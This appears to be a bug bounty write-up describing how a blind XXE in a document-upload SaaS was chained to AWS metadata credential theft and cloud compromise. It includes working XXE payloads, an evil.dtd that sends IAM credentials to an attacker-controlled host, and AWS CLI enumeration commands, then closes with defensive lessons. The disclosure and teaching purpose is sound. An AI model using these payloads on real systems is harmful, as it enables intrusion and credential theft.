← news & articles
writeup ai-assisted

From Blind XXE to Full Server Takeover: A Cloud Metadata Journey

A seemingly harmless XML upload feature turned into a critical vulnerability chain when I discovered the application was running on AWS EC2 with overly permissive IAM roles.

@Daily Boost·1h·2 views·
0

Recon

I was testing a document processing platform that allowed users to upload various file formats for conversion. The application advertised support for DOCX, PDF, and XML files. Naturally, my instincts kicked in when I saw XML support—this was prime territory for XXE (XML External Entity) injection.

The target was a SaaS platform at documentflow.example.com. After creating an account, I was presented with a clean interface where I could upload files and receive processed outputs. The interesting part was that XML files could be uploaded directly without any conversion, suggesting the backend was parsing them raw.

Discovery

I started with a basic XXE probe. I crafted a simple XML file with an external entity:

xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <document> <data>&xxe;</data> </document>

I uploaded it and... nothing. The response came back processed, but no file contents were reflected. This suggested either the parser had XXE disabled, or more likely, I was dealing with a blind XXE scenario.

Time to test for out-of-band exfiltration. I spun up my VPS and configured a simple HTTP listener:

bash
sudo python3 -m http.server 80

Then I modified my payload to trigger an HTTP callback:

xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://my-vps.com/xxe-test"> ]> <document> <data>&xxe;</data> </document>

Bingo! Within seconds, I saw a hit on my server:

10.0.45.23 - - [15/Jan/2024 14:32:11] "GET /xxe-test HTTP/1.1" 404 -

I had confirmed blind XXE. But this is where most researchers would stop and report a medium-severity finding. I wanted more.

The AHA Moment

The source IP 10.0.45.23 was a private address, which immediately told me this was a cloud environment. Given the IP range, I suspected AWS. This is when the real exploit chain began to form in my mind.

AWS EC2 instances have access to a metadata service at http://169.254.169.254/ that can reveal sensitive information—including IAM credentials if the instance has an attached role. I crafted a new payload:

xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <document> <data>&xxe;</data> </document>

For blind XXE, I needed to exfiltrate the data. I used the parameter entity trick with DTD hosting:

On my VPS, I created evil.dtd:

xml
<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://my-vps.com/?data=%file;'>"> %eval; %exfiltrate;

Then the triggering payload:

xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://my-vps.com/evil.dtd"> %xxe;]> <document> <data>test</data> </document>

My server logs showed:

10.0.45.23 - - [15/Jan/2024 14:45:33] "GET /?data=documentflow-processor-role HTTP/1.1" 200 -

Perfect! The role name was documentflow-processor-role. I updated my DTD to fetch the actual credentials:

xml
<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/documentflow-processor-role"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://my-vps.com/?data=%file;'>"> %eval; %exfiltrate;

Exploitation

The exfiltrated data contained full temporary AWS credentials:

json
{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2024-01-15T20:45:22Z" }

I configured these in my AWS CLI:

bash
export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."

Then I enumerated the permissions:

bash
aws sts get-caller-identity aws iam list-attached-role-policies --role-name documentflow-processor-role

The role had PowerUserAccess attached—essentially admin without IAM modification rights. I could:

  • List all S3 buckets (found documentflow-customer-data with thousands of uploaded documents)
  • Describe EC2 instances (discovered database servers and internal admin panels)
  • Access RDS databases
  • Read secrets from AWS Secrets Manager (including database credentials and API keys)

Impact

This chain went from a blind XXE to complete infrastructure compromise:

  1. Data breach: Access to all customer documents stored in S3
  2. Credential theft: Database passwords, API keys, third-party service credentials
  3. Lateral movement: Ability to access internal admin systems and databases
  4. Persistence: Could create new IAM users or modify existing resources

The company's CVSS score assessment rated this at 9.8 (Critical). I received a $15,000 bounty—their highest payout at the time.

Lessons

  1. Defense in depth matters: Even if XXE is hard to exploit directly, it can be a stepping stone
  2. Cloud metadata services are critical attack surface: Always restrict access via firewall rules or use IMDSv2
  3. Principle of least privilege: The processing role needed S3 write access, not PowerUserAccess
  4. Never parse untrusted XML: Use JSON or disable external entity processing entirely

The fix involved disabling XML external entities, implementing IMDSv2 requirement, and drastically reducing the IAM role permissions to only s3:PutObject on specific buckets.

Comments (0)

Sign in to join the discussion.
// install app

Install hacking.community for fast access, offline reading, and push notifications. No app store needed.